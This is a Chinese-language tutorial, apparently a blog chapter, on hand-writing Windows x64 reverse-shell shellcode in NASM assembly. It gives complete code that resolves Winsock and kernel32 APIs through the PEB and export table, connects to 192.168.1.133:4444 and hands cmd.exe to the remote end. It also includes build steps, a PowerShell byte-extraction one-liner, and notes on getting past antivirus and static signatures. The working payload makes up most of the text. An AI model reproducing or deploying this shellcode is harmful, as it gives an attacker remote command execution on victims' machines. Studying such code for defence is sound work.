文章目录
-
- [WIndows x64 ShellCode开发 第五章 反向Shell编写](#WIndows x64 ShellCode开发 第五章 反向Shell编写)
-
- [一、外部API代码汇编 编写反向Shell](#一、外部API代码汇编 编写反向Shell)
- 二、纯汇编实现反向Shell并转为ShellCode加载
- 总结
WIndows x64 ShellCode开发 第五章 反向Shell编写
经过前面x64汇编的基础学习,与相关DLL模块所需API的动态加载等,我们就要开始我们最终的目标了,用 x64 汇编 手写ShellCode 。在挑战纯汇编之前,我们先用(EXTERN)外部调用 代码先写一遍,在写的过程中能更好的帮助我们理解反向Shell建立的过程与其中所使用的函数及其参数的。因为第一次直接用纯汇编写的话还是太晦涩了,先从简单入手理解本质,最后面对纯汇编ShellCode操手时才能游刃有余。
一、外部API代码汇编 编写反向Shell
还是和前几章一样注释中的内容很重要,毕竟是代码编写,如果跳脱出代码感觉就太出格了,所以相关详细解释还是会写在代码行后的注释中
使用外部API代码后我们就避免了手动查找API,但同时这段代码也就不能编译成ShellCode,但是代码变得简单易懂了,更方便我们理解其中的逻辑内容。
(一)、外部API结构解析
在汇编之前我们先学习一下外部API的结构,注重关键参数即可其余用不上的略带过
Programming reference for the Win32 API - Win32 apps | Microsoft Learn 官方文档
-
WSAStartup 函数
int WSAStartup(
[in] WORD wVersionRequired, //请求的 Winsock 版本
[out] LPWSADATA lpWSAData //指向 WSADATA 结构体的指针
); -
WSASocketA 函数
SOCKET WSAAPI WSASocketA(
int af, //地址族
int type, //Socket 通信方式
int protocol, //使用的网络协议,TCP协议时值为6
LPWSAPROTOCOL_INFOA lpProtocolInfo, //NULL
GROUP g, //NULL
DWORD dwFlags //NULL
); -
WSAConnect 函数
int WSAAPI WSAConnect(
SOCKET s,
const sockaddr *name,
int namelen,
LPWSABUF lpCallerData,
LPWSABUF lpCalleeData,
LPQOS lpSQOS,
LPQOS lpGQOS
);
-
s:要连接的 socket 句柄
-
name:指向 sockaddr_in 结构体的指针
-
namelen:name 结构体的长度
-
其余几个填NULL
- CreateProcessA 函数
这个就比较复杂,但是大多数填NULL就行,注意几个关键的参数即可
BOOL CreateProcessA(
LPCSTR lpApplicationName, //应用程序路径,NULL
LPSTR lpCommandLine, //命令行字符串 ,"cmd.exe"(shell需要)
LPSECURITY_ATTRIBUTES lpProcessAttributes, //进程安全属性,NULL
LPSECURITY_ATTRIBUTES lpThreadAttributes, //线程安全属性,NULL
BOOL bInheritHandles, //是否继承句柄,TURE 继承 socket
DWORD dwCreationFlags, //进程创建标志,NULL
LPVOID lpEnvironment, //环境变量指针,NULL
LPCSTR lpCurrentDirectory, //当前目录,NULL
LPSTARTUPINFOA lpStartupInfo, //STARTUPINFOA 结构体指针
LPPROCESS_INFORMATION lpProcessInformation //PROCESS_INFORMATION 结构体指针
);
-
STARTUPINFOA 结构体(这个结构体很关键,毕竟是作为CreateProcessA 的参数传入,但大部分都填0,同样是注意几个关键参数)
typedef struct _STARTUPINFOA {
DWORD cb, // 结构体大小,固定 0x68
LPSTR lpReserved, // 保留,0
LPSTR lpDesktop, // 桌面名,0
LPSTR lpTitle, // 窗口标题,0
DWORD dwX, // 窗口 X 坐标,0
DWORD dwY, // 窗口 Y 坐标,0
DWORD dwXSize, // 窗口宽度,0
DWORD dwYSize, // 窗口高度,0
DWORD dwXCountChars, // 缓冲区字符宽度,0
DWORD dwYCountChars, // 缓冲区字符高度,0
DWORD dwFillAttribute, // 填充属性,填 0
DWORD dwFlags, // 关键标志,固定 0x101
WORD wShowWindow, // 显示方式(隐藏),0
WORD cbReserved2, // 保留字段,0
LPBYTE lpReserved2, // 保留指针,0
HANDLE hStdInput, // 句柄socket
HANDLE hStdOutput, // 句柄socket
HANDLE hStdError // 句柄socket
};
(二)、汇编代码实现
asm
BITS 64 ; 指定为64位汇编,默认32位
section .text ; 节区
global main ; 入口点
extern WSAStartup
extern WSASocketA
extern WSAConnect
extern CreateProcessA
extern ExitProcess ; 直接外部引用,下面可以直接使用 call [函数名] 进行调用
main:
and rsp,0xFFFFFFFFFFFFFFF0 ; 强制栈对齐
; 1. WSAStartup 初始化 Windows Socket库,网络编程第一步
xor rcx,rcx
mov cx,0x198 ; 0x198 是 WSADATA 结构体的大小,为后续分配栈空间做准备
sub rsp,rcx ; 在栈上为 WSADATA 结构体预留一块连续的内存空间
lea rdx,[rsp] ; 将栈上分配的 WSADATA 起始地址赋给RDX,即第二个参数' lpWSAData'
mov cx,0x202 ; 第一个参数RCX赋值为0x202(WORD wVersionRequired),即指定Winsock版本
sub rsp,0x28 ; 预留影子空间+栈对齐
call WSAStartup ; 调用 WSAStartup 函数,执行 Winsock 库的初始化
add rsp,0x30 ; 恢复栈
; 2. WSASocketA 创建TCP socket
xor rcx,rcx
mov cl,2 ; 第一个参数,AF_INET,IPv4
xor rdx,rdx
mov dl,1 ; 第二个参数,SOCK_STREAM,流式套接字
xor r8,r8
mov r8b,6 ; 第三个参数,IPPROTO_TCP,TCP协议
xor r9,r9 ; 第四个参数, 0
mov [rsp+0x20],r9 ; R9此时为0,即将0存入 栈上[rsp+0x20]位置
mov [rsp+0x28],r9 ; 将0存入 栈上[rsp+0x28]位置
call WSASocketA
mov r12,rax ; 将返回值(Socket)句柄存入R12
add rsp,0x30
; 3. WSAConnect 网络连接
mov r13,rax ; 将Socket句柄存入r13
mov rcx,r13 ; 将Socket句柄作为第一参数
xor rax,rax
inc rax
inc rax ; rax=2,AF_INET,IPv4
mov [rsp],rax ; 栈顶存入AF_INET
mov rax,0x5C11 ; 端口:4444
mov [rsp+2],rax ; 栈顶+2字节存入端口
mov rax,0x8501A8C0 ; IP:192.168.1.133
mov [rsp+4],rax ; 栈顶+4字节存入IP
lea rdx,[rsp] ; 第二参数:指向栈顶的地址结构体指针
mov r8,0x16 ; 第三参数:地址结构体长度
xor r9,r9 ; 第四参数:lpCallerData=NULL
push r9 ; 第七参数:lpGQOS=NULL
push r9 ; 第六参数:lpSQOS=NUL
push r9 ; 第五参数:lpCalleeData=NULL , 在第四参数后还有参数就要用到栈(从右往左压参)
add rsp,8
sub rsp,0x90
call WSAConnect
add rsp,0x30
mov rax,0x6578652e646d63 ; 字符串"cmd.exe"
push rax
mov rcx,rsp
; 4. 构造STARTUPINFOA结构体
push r13 ; hStdError
push r13 ; hStdOutput
push r13 ; hStdInput
xor rax,rax
push rax ; lpReserved2
push rax ; cbReserved2
push ax ; 先压入ax作为dwFlafs的低2字节
mov rax,0x100
push ax ; 压入0x100,(低2字节0和高2字节0x100)表示指定hStdInput/hStdOutput/hStdError 作为进程的标准句柄
xor rax,rax
push rax ; dwFillAttribute
push rax ; dwXCountChars
push rax ; dwXSize
push ax
push ax ; dwX=0
push rax ; lpTitle
push rax ; lpDesktop
push rax ; lpReserved
mov rax,0x68 ; STARTUPINFOA结构体的标准大小
push rax
mov rdi,rsp ; 结构体首地址存入rdi
; 5. 调用CreateProcessA
mov rax,rsp ; 将当前栈顶地址存入RAX
sub rax,0x18 ; 栈上预留24字节空间
push rax ; PROCESS_INFORMATION结构体地址,从这里开始填充参数,这里是第十个参数
push rdi ; STARTUPINFOA 结构体首地址
xor rax,rax
push rax ; lpCurrentDirectory
push rax ; lpEnvironment
push rax ; dwCreationFlags
inc rax
push rax ; rax=1,bInheritHandles
xor rax,rax
mov r8,rax ; lpThreadAttributes
mov r9,rax ; lpProcessAttributes
mov rdx,rcx ; lpCommandLine = "cmd.exe"
mov rcx,rax ; lpApplicationName
sub rsp,0x20 ; 预留影子空间与栈对齐
call CreateProcessA ; 调用CreateProcessA
; 6. 退出
mov rcx, 0
call ExitProcess ; 调用ExitProcess
nasm -fwin64 shell.asm // 编译
gcc -m64 shell.obj -o shell.exe -lkernel32 -lws2_32 -nostartfiles //链接

可以看到成功连接了但是没弹出命令行,这是因为我们这完成了反向shell功能没有对其进行混淆,这里直接被杀软拦下了
关闭杀软后测试,成功连接

二、纯汇编实现反向Shell并转为ShellCode加载
毕竟是纯汇编实现,代码有点多,所以打算将这里的实现代码,分阶段,分层次的给出,最后再拼接为一个完整的汇编程序。
(一)、解析PEB定位kernel32.dll基地址并找到导出表地址
asm
BITS 64
SECTION .text
global main
main:
sub rsp,0x28
and rsp,0xFFFFFFFFFFFFFFF0 ; 栈对齐
xor rcx,rcx
mov rax,[gs:rcx+0x60] ; PEB
mov rax,[rax+0x18] ; PEB->Ldr
mov rsi,[rax+0x10] ; InLoadOrderModuleList
mov rsi,[rsi]
mov rsi,[rsi]
mov rbx,[rsi+0x30] ; kernel32.dll的基地址
mov r8,rbx ; r8存下kernel32.dll的基地址
mov ebx,[rbx+0x3C] ; PE签名RVA
add rbx,r8 ; PE头实际地址
mov edx, [rbx+0x88] ; 导出表 RVA
add rdx,r8 ; 导出表实际地址
因为我们最终要转成ShellCode的,所以不能使用外部调用extern了,需要我们手动从PEB中解析出我们需要的kernel32.dll地址,并且找出其导出表实际地址。
(二)、动态解析API
asm
mov r10d,[rdx+0x14] ; 导出函数总数
xor r11,r11
mov r11d,[rdx+0x20] ; AddressOfNames RVA
add r11,r8 ; AddressOfNames实际地址
mov rcx,r10 ; RCX暂存下函数总数
mov rax,0x9090737365726464 ; 字符串'ddress',0x00位置使用0x90(nop)进行补全
shl rax,0x10
shr rax,0x10
push rax
mov rax,0x41636F7250746547 ; 字符串'GetProcA'
push rax
mov rax,rsp ; 栈顶地址即GetProcAddress字符串的首地址,存入RAX
FindFun:
jecxz FunNotFound
dec rcx
xor ebx,ebx
mov ebx,[r11+rcx*4] ; AddressOfNames数组元素,其内容为函数名
add rbx,r8
mov r9,qword[rax] ; qword取字符串8字节内容
cmp [rbx],r9 ; 对比当前函数名前8字节,即对比GetProcA
jnz FindFun
mov r9d,dword[rax+8]
cmp [rbx+8],r9d ; 对比GetProcA后4字节的字符串,即对比ddre
jz FunFound
jnz FindFun
FunNotFound:
int3 ; 触发中断异常终止
FunFound:
mov r11d, [rdx+0x24] ; AddressOfNameOrdinals RVA
add r11,r8
mov cx, [r11+rcx*2] ; 获取序号(Ordinal是2字节)
xor r11,r11
mov r11d,[rdx+0x1C] ; AddressOfFunctions的RVA
add r11,r8 ; AddressOfFunctions实际地址
mov eax,[r11+rcx*4]
add rax,r8 ; GetProcAddress实际内存地址
mov r12,rax ; 将GetProcAddress函数存入R12
这方面就是写具体的函数遍历逻辑,并且找到我们需要的GetProcAddress API的实际内存地址。
从AddressOfNames数组(函数名), 到映射表AddressOfNameOrdinals数组,最后再到真正函数地址 AddressOfFunctions数组,缺一不可,之前尝试不经过AddressOfNameOrdinals数组去找API地址显然失败了
(三)、动态调用查找相关API地址
要查的API会很多,大多都是位于kernel32.dll、ws2_32.dll两个库中,但是最后会将其存储地址的寄存器进行总结的
asm
; 1. 调用GetProcAddress查LoadLibraryA地址
mov rdi,r8
mov rcx,r8 ; 第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x41797261 ; 字符串'aryA'
push rax
mov rax,0x7262694C64616F4C ; 字符串'LoadLibr'
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(LoadLibraryA)
sub rsp,0x30 ; 分配影子空间且栈对齐
call r12 ; 调用GetProcAddress
add rsp,0x30
mov r15,rax ; 将GetProcAddress返回值(LoadLibraryA地址),存入r15
; 2. 调用GetProcAddress查ExitProcess地址
mov r9,r12
mov rcx,rdi ; 第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x90737365 ; 'ess'
shl eax,0x8
shr eax,0x8
push rax
mov rax,0x636F725074697845 ;ExitProc
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(ExitProcess)
sub rsp,0x30
call r9 ; 调用GetProcAddress
add rsp,0x30
mov rbx,rax ; 将GetProcAddress返回值(ExitProcess地址),存入RBX
; 3. 调用GetProcAddress查CreateProcessA地址
mov r9,r12
mov rcx,rdi ; 第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x909041737365636F ; 字符串'ocessA',0x9090是nop
shl rax,0x10
shr rax,0x10
push rax
mov rax,0x7250657461657243 ; 字符串'CreatePr'
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(CreateProcessA)
sub rsp,0x30
call r9 ; 调用GetProcAddress
add rsp,0x30
mov r13,rax ; 将GetProcAddress返回值(CreateProcessA地址),存入R13
; 4. 调用LoadLibraryA加载ws2_32.dll(获取ws2_32.dll基地址)
mov rax,0x90906C6C ; 字符串'll',0x9090是nop(规避空字节)
shl eax,0x10
shr eax,0x10
push rax
mov rax,0x642E32335F327377 ; 字符串'ws2_32.d'
push rax
mov rcx,rsp ; 第一参数:DLL名字符串首地址(ws2_32.dll)
sub rsp,0x30 ; 分配影子空间且栈对齐
call r15 ; 调用LoadLibraryA
add rsp,0x30
mov r14,rax ; 将LoadLibraryA返回值(ws2_32.dll基地址),存入r14
; 5. 调用GetProcAddress查WSAStartup地址
mov rcx,r14 ; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90907075 ; 字符串'up',0x9090是nop
shl eax,0x10
shr eax,0x10
push rax
mov rax,0x7472617453415357 ; 字符串'WSAStart'
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(WSAStartup)
sub rsp,0x30
call r12
add rsp,0x30
mov r15,rax ; 将GetProcAddress返回值(WSAStartup地址),存入r15
; 6. 调用GetProcAddress查WSASocketA地址
mov rcx,r14 ; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90904174 ; 字符串'tA',0x9090是nop
shl eax,0x10
shr eax,0x10
push rax
mov rax,0x656B636F53415357 ; 字符串'WSASocke'
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(WSASocketA)
sub rsp,0x30
call r12
add rsp,0x30
mov rsi,rax ; 将GetProcAddress返回值(WSASocketA地址),存入rsi
; 7. 调用GetProcAddress查WSAConnect地址
mov rcx,r14 ; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90907463 ; 字符串'ct',0x9090是nop
shl eax,0x10
shr eax,0x10
push rax
mov rax,0x656E6E6F43415357 ; 字符串'WSAConne'
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(WSAConnect)
sub rsp,0x30
call r12
add rsp,0x30
mov rdi,rax ; 将GetProcAddress返回值(WSAConnect地址),存入rdi
mov r14,r13 ; 将CreateProcessA地址从r13移到r14(r14原ws2_32基地址不再需要)
GetProcAddress函数传参第一个是DLL句柄,另一个就是字符串了,后面我们也可以利用哈希算法进行遍历查询(GetProcAddressByHash),这样我们PE结构的导入表IAT中就不会显示我们查询的API记录,在免杀方面更好的隐藏我们的静态特征。
看着是不是很多,其中寄存器的值已经有点混淆记不清了,我们这里做个清单
r12 = GetProcAddress
r14 = CreateProcessA
r15 = WSAStartup
rsi = WSASocketA
rdi = WSAConnect
rbx = ExitProcess
(四)、调用API进行网络编程
asm
xor rcx,rcx
mov cx,0x198 ; WSADATA结构体的大小
sub rsp,rcx ; 栈上分配0x198空间,存放WSADATA结构体
lea rdx,[rsp] ; 第二参数:LPWSADATA(栈上WSADATA结构体的首地址)
mov cx,0x202 ; 第一参数:wVersionRequired(Winsock版本)
sub rsp,0x28
call r15 ; 调用WSAStartup
add rsp,0x30
xor rcx,rcx
mov cl,2 ; 第一参数,AF_INET,IPv4
xor rdx,rdx
mov dl,1 ; 第二参数,SOCK_STREAM,流式套接字
xor r8,r8
mov r8b,6 ; 第三参数,IPPROTO_TCP,TCP协议
xor r9,r9 ; 第四参数, 0
mov [rsp+0x20],r9 ; 第五参数,R9此时为0,即将0存入 栈上[rsp+0x20]位置
mov [rsp+0x28],r9 ; 第六参数,将0存入 栈上[rsp+0x28]位置
; sub rsp,0x30
call rsi ; 调用WSASocketA
add rsp,0x30
mov r12,rax ; Socket句柄
mov r13,rax
mov rcx,r13 ; 第一参数:Socket句柄
xor rax,rax
inc rax
inc rax
mov [rsp],rax ; 栈顶存入AF_INET
mov ax,0x5C11 ; 端口:4444
mov [rsp+2],ax ; 栈顶+2字节存入端口
mov rax,0x8501A8C0 ; IP:192.168.1.133
mov [rsp+4],rax ; 栈顶+4字节存入IP
lea rdx,[rsp] ; 第二参数:指向栈顶的地址结构体指针
mov r8,0x16 ; 第三参数:地址结构体长度
xor r9,r9 ; 第四参数:lpCallerData=NULL
push r9 ; 第七参数:lpGQOS=NULL
push r9 ; 第六参数:lpSQOS=NUL
push r9 ; 第五参数:lpCalleeData=NULL , 在第四参数后还有参数就要用到栈(从右往左压参)
add rsp,8 ; 栈对齐
sub rsp,0x60
sub rsp,0x60
call rdi ; 调用WSAConnect
先调用WSAStartup初始化Winsock库,然后调用WSASocketA创建套接字,最后调用WSAConnect指定IP:PORT等参数进行网络连接
(五)、构造STARTUPINFOA结构体并调用CreateProcessA启动cmd.exe实现交互Shell
asm
add rsp,0x30
mov rax,0x6578652e646d63 ; 字符串"cmd.exe"
push rax
mov rcx,rsp
; 构造STARTUPINFOA结构体
push r13 ; hStdError
push r13 ; hStdOutput
push r13 ; hStdInput
xor rax,rax
push rax ; lpReserved2
push rax ; cbReserved2
push ax ; 先压入ax作为dwFlafs的低2字节
mov al, 0x1 ; AL=0x1 → STARTF_USESTDHANDLES
shl eax, 0x8 ; EAX=0x100
push ax ; 压入0x100,(低2字节0和高2字节0x100)表示指定hStdInput/hStdOutput/hStdError 作为进程的标准句柄
xor rax,rax
push rax ; dwFillAttribute
push rax ; dwXCountChars
push rax ; dwXSize
push ax
push ax ; dwX=0
push rax ; lpTitle
push rax ; lpDesktop
push rax ; lpReserved
mov al,0x68 ; STARTUPINFOA结构体的标准大小
push rax
mov rdi,rsp ; 结构体首地址存入rdi
; 调用CreateProcessA
mov rax,rsp ; 将当前栈顶地址存入RAX
sub rax,0x18
push rax ; PROCESS_INFORMATION结构体地址,从这里开始填充参数,这里是第十个参数
push rdi ; STARTUPINFOA 结构体首地址
xor rax,rax
push rax ; lpCurrentDirectory
push rax ; lpEnvironment
push rax ; dwCreationFlags
inc rax
push rax ; rax=1,bInheritHandles
xor rax,rax
mov r8,rax ; lpThreadAttributes
mov r9,rax ; lpProcessAttributes
mov rdx,rcx ; lpCommandLine = "cmd.exe"
mov rcx,rax ; lpApplicationName
sub rsp,0x20 ; 预留影子空间与栈对齐
call r14 ; 调用CreateProcessA
; 退出
mov rcx, 0
call rbx ; 调用ExitProcess
六、综合整合
asm
BITS 64
SECTION .text
global main
main:
sub rsp,0x28
and rsp,0xFFFFFFFFFFFFFFF0 ; 栈对齐
xor rcx,rcx
mov rax,[gs:rcx+0x60] ; PEB
mov rax,[rax+0x18] ; PEB->Ldr
mov rsi,[rax+0x10] ; InLoadOrderModuleList
mov rsi,[rsi]
mov rsi,[rsi]
mov rbx,[rsi+0x30] ; kernel32.dll的基地址
mov r8,rbx ; r8存下kernel32.dll的基地址
mov ebx,[rbx+0x3C] ; PE签名RVA
add rbx,r8 ; PE头实际地址
mov edx, [rbx+0x88] ; 导出表 RVA
add rdx,r8 ; 导出表实际地址
mov r10d,[rdx+0x14] ; 导出函数总数
xor r11,r11
mov r11d,[rdx+0x20] ; AddressOfNames RVA
add r11,r8 ; AddressOfNames实际地址
mov rcx,r10 ; RCX暂存下函数总数
mov rax,0x9090737365726464 ; 字符串'ddress',0x00位置使用0x90(nop)进行补全
shl rax,0x10
shr rax,0x10
push rax
mov rax,0x41636F7250746547 ; 字符串'GetProcA'
push rax
mov rax,rsp ; 栈顶地址即GetProcAddress字符串的首地址,存入RAX
FindFun:
jecxz FunNotFound
dec rcx
xor ebx,ebx
mov ebx,[r11+rcx*4] ; AddressOfNames数组元素,其内容为函数名
add rbx,r8
mov r9,qword[rax] ; qword取字符串8字节内容
cmp [rbx],r9 ; 对比当前函数名前8字节,即对比GetProcA
jnz FindFun
mov r9d,dword[rax+8]
cmp [rbx+8],r9d ; 对比GetProcA后4字节的字符串,即对比ddre
jz FunFound
jnz FindFun
FunNotFound:
int3 ; 触发中断异常终止
FunFound:
mov r11d, [rdx+0x24] ; AddressOfNameOrdinals RVA
add r11,r8
mov cx, [r11+rcx*2] ; 获取序号(Ordinal是2字节)
xor r11,r11
mov r11d,[rdx+0x1C] ; AddressOfFunctions的RVA
add r11,r8 ; AddressOfFunctions实际地址
mov eax,[r11+rcx*4]
add rax,r8 ; GetProcAddress实际内存地址
mov r12,rax ; 将GetProcAddress函数存入R12
; 1. 调用GetProcAddress查LoadLibraryA地址
mov rdi,r8
mov rcx,r8 ; 第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x41797261 ; 字符串'aryA'
push rax
mov rax,0x7262694C64616F4C ; 字符串'LoadLibr'
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(LoadLibraryA)
sub rsp,0x30 ; 分配影子空间且栈对齐
call r12 ; 调用GetProcAddress
add rsp,0x30
mov r15,rax ; 将GetProcAddress返回值(LoadLibraryA地址),存入r15
; 2. 调用GetProcAddress查ExitProcess地址
mov r9,r12
mov rcx,rdi ; 第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x90737365 ; 'ess'
shl eax,0x8
shr eax,0x8
push rax
mov rax,0x636F725074697845 ;ExitProc
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(ExitProcess)
sub rsp,0x30
call r9 ; 调用GetProcAddress
add rsp,0x30
mov rbx,rax ; 将GetProcAddress返回值(ExitProcess地址),存入RBX
; 3. 调用GetProcAddress查CreateProcessA地址
mov r9,r12
mov rcx,rdi ; 第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x909041737365636F ; 字符串'ocessA',0x9090是nop
shl rax,0x10
shr rax,0x10
push rax
mov rax,0x7250657461657243 ; 字符串'CreatePr'
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(CreateProcessA)
sub rsp,0x30
call r9 ; 调用GetProcAddress
add rsp,0x30
mov r13,rax ; 将GetProcAddress返回值(CreateProcessA地址),存入R13
; 4. 调用LoadLibraryA加载ws2_32.dll(获取ws2_32.dll基地址)
mov rax,0x90906C6C ; 字符串'll',0x9090是nop(规避空字节)
shl eax,0x10
shr eax,0x10
push rax
mov rax,0x642E32335F327377 ; 字符串'ws2_32.d'
push rax
mov rcx,rsp ; 第一参数:DLL名字符串首地址(ws2_32.dll)
sub rsp,0x30 ; 分配影子空间且栈对齐
call r15 ; 调用LoadLibraryA
add rsp,0x30
mov r14,rax ; 将LoadLibraryA返回值(ws2_32.dll基地址),存入r14
; 5. 调用GetProcAddress查WSAStartup地址
mov rcx,r14 ; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90907075 ; 字符串'up',0x9090是nop
shl eax,0x10
shr eax,0x10
push rax
mov rax,0x7472617453415357 ; 字符串'WSAStart'
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(WSAStartup)
sub rsp,0x30
call r12
add rsp,0x30
mov r15,rax ; 将GetProcAddress返回值(WSAStartup地址),存入r15
; 6. 调用GetProcAddress查WSASocketA地址
mov rcx,r14 ; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90904174 ; 字符串'tA',0x9090是nop
shl eax,0x10
shr eax,0x10
push rax
mov rax,0x656B636F53415357 ; 字符串'WSASocke'
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(WSASocketA)
sub rsp,0x30
call r12
add rsp,0x30
mov rsi,rax ; 将GetProcAddress返回值(WSASocketA地址),存入rsi
; 7. 调用GetProcAddress查WSAConnect地址
mov rcx,r14 ; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90907463 ; 字符串'ct',0x9090是nop
shl eax,0x10
shr eax,0x10
push rax
mov rax,0x656E6E6F43415357 ; 字符串'WSAConne'
push rax
mov rdx,rsp ; 第二参数:函数名字符串首地址(WSAConnect)
sub rsp,0x30
call r12
add rsp,0x30
mov rdi,rax ; 将GetProcAddress返回值(WSAConnect地址),存入rdi
mov r14,r13 ; 将CreateProcessA地址从r13移到r14(r14原ws2_32基地址不再需要)
xor rcx,rcx
mov cx,0x198 ; WSADATA结构体的大小
sub rsp,rcx ; 栈上分配0x198空间,存放WSADATA结构体
lea rdx,[rsp] ; 第二参数:LPWSADATA(栈上WSADATA结构体的首地址)
mov cx,0x202 ; 第一参数:wVersionRequired(Winsock版本)
sub rsp,0x28
call r15 ; 调用WSAStartup
add rsp,0x30
xor rcx,rcx
mov cl,2 ; 第一参数,AF_INET,IPv4
xor rdx,rdx
mov dl,1 ; 第二参数,SOCK_STREAM,流式套接字
xor r8,r8
mov r8b,6 ; 第三参数,IPPROTO_TCP,TCP协议
xor r9,r9 ; 第四参数, 0
mov [rsp+0x20],r9 ; 第五参数,R9此时为0,即将0存入 栈上[rsp+0x20]位置
mov [rsp+0x28],r9 ; 第六参数,将0存入 栈上[rsp+0x28]位置
; sub rsp,0x30
call rsi ; 调用WSASocketA
add rsp,0x30
mov r12,rax ; Socket句柄
mov r13,rax
mov rcx,r13 ; 第一参数:Socket句柄
xor rax,rax
inc rax
inc rax
mov [rsp],rax ; 栈顶存入AF_INET
mov ax,0x5C11 ; 端口:4444
mov [rsp+2],ax ; 栈顶+2字节存入端口
mov rax,0x8501A8C0 ; IP:192.168.1.133
mov [rsp+4],rax ; 栈顶+4字节存入IP
lea rdx,[rsp] ; 第二参数:指向栈顶的地址结构体指针
mov r8,0x16 ; 第三参数:地址结构体长度
xor r9,r9 ; 第四参数:lpCallerData=NULL
push r9 ; 第七参数:lpGQOS=NULL
push r9 ; 第六参数:lpSQOS=NUL
push r9 ; 第五参数:lpCalleeData=NULL , 在第四参数后还有参数就要用到栈(从右往左压参)
add rsp,8 ; 栈对齐
sub rsp,0x60
sub rsp,0x60
call rdi ; 调用WSAConnect
add rsp,0x30
mov rax,0x6578652e646d63 ; 字符串"cmd.exe"
push rax
mov rcx,rsp
; 构造STARTUPINFOA结构体
push r13 ; hStdError
push r13 ; hStdOutput
push r13 ; hStdInput
xor rax,rax
push rax ; lpReserved2
push rax ; cbReserved2
push ax ; 先压入ax作为dwFlafs的低2字节
mov al, 0x1 ; AL=0x1 → STARTF_USESTDHANDLES
shl eax, 0x8 ; EAX=0x100
push ax ; 压入0x100,(低2字节0和高2字节0x100)表示指定hStdInput/hStdOutput/hStdError 作为进程的标准句柄
xor rax,rax
push rax ; dwFillAttribute
push rax ; dwXCountChars
push rax ; dwXSize
push ax
push ax ; dwX=0
push rax ; lpTitle
push rax ; lpDesktop
push rax ; lpReserved
mov al,0x68 ; STARTUPINFOA结构体的标准大小
push rax
mov rdi,rsp ; 结构体首地址存入rdi
; 调用CreateProcessA
mov rax,rsp ; 将当前栈顶地址存入RAX
sub rax,0x18
push rax ; PROCESS_INFORMATION结构体地址,从这里开始填充参数,这里是第十个参数
push rdi ; STARTUPINFOA 结构体首地址
xor rax,rax
push rax ; lpCurrentDirectory
push rax ; lpEnvironment
push rax ; dwCreationFlags
inc rax
push rax ; rax=1,bInheritHandles
xor rax,rax
mov r8,rax ; lpThreadAttributes
mov r9,rax ; lpProcessAttributes
mov rdx,rcx ; lpCommandLine = "cmd.exe"
mov rcx,rax ; lpApplicationName
sub rsp,0x20 ; 预留影子空间与栈对齐
call r14 ; 调用CreateProcessA
; 退出
mov rcx, 0
call rbx ; 调用ExitProcess
nasm -fwin64 ShellCode.asm // 编译
gcc -m64 ShellCode.obj -o ShellCode.exe -lkernel32 -lws2_32 -nostartfiles //链接
我们先通过直接编译链接测试当前功能是否实现
七、调试测试
我比较习惯使用xdebug进行调试,不管是在开发过程中还是在开发后出现问题时,都能通过调试找到问题关键并改正
我们将编译链接好的ShellCode.exe,拖入到x64dbg(毕竟我们写的是64位),然后按下F9,会直接跳转到我们程序开始的断点处,并可以清楚的看到我们自己写的汇编代码

我在写的过程中也是遇到写问题,一个就是WSAStartup的地址解析不到,正常的是这样的
在我们执行完call 12调用GetProcAddress查询我们的LoadLibraryA地址后,RAX寄存器中就会存储着我们的函数返回值,也就是LoadLibrary的地址,如图,在RAX值后面是清楚的显示<kernel32.LoadLibrary>的

但是在我们调用GetProcAddress查WSAStartup地址的时候,返回却是一团乱码,我开始还以为是ws2_32基地址查错了,直到我成功查到了WSASocketA的地址。
我们可以在地址查询完成后,WSAStartup调用前打一断点,然后F9跳转到当前执行状态,我们可以看到右侧寄存器状态R15 (WSAStartup地址)、RSI(WSASocketA地址)、RDI(WSAConnect地址),WSAStartup地址一直是乱码状态,导致后续WSASocketA调用Socket初始化失败时,一直以为是这里的问题。。。

然后就是我们可以根据调用完成WSASocketA后的返回值判断Socket初始化成功的标志,如图

调用完后RAX返回值是00000000000000EC就说明初始化是成功的,如果返回值是0xFFFFFFFFFFFFFFFF就是返回的预定义常量INVALID_SOCKET初始化失败了。
后面我们再进而调用WSAConnect后,可以看到连接成功的字符

然后就是调用CreateProcessA启动我们的cmd.exe了(这里后续做免杀处理时不会直接启动,可能会设置延时以及杂数据流干扰处理)
最后发现成功连接

测试成功后我们就可以将其转换为ShellCode并放入到我们的加载器中测试执行了
nasm.exe -f win64 ShellCode.asm -o ShellCode.o
Powershell
$shellcode = ""; (objdump -D ShellCode.o | Select-String "^ ").Line | ForEach-Object { $_.Split("`t")[1] -split " " | Where-Object { $_ -match "^[0-9a-f]{2}$" } | ForEach-Object { $shellcode += "\x" + $_ } }; $shellcode
得到ShellCode
